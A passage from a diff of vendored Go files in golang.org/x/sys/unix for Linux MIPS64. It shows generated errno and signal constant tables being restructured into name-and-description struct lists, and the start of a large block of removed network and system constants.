-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-index 4148f277..2346dc55 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go
-@@ -3,7 +3,7 @@
-
- // +build mips64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40081270
-- BLKBSZSET = 0x80081271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40081272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
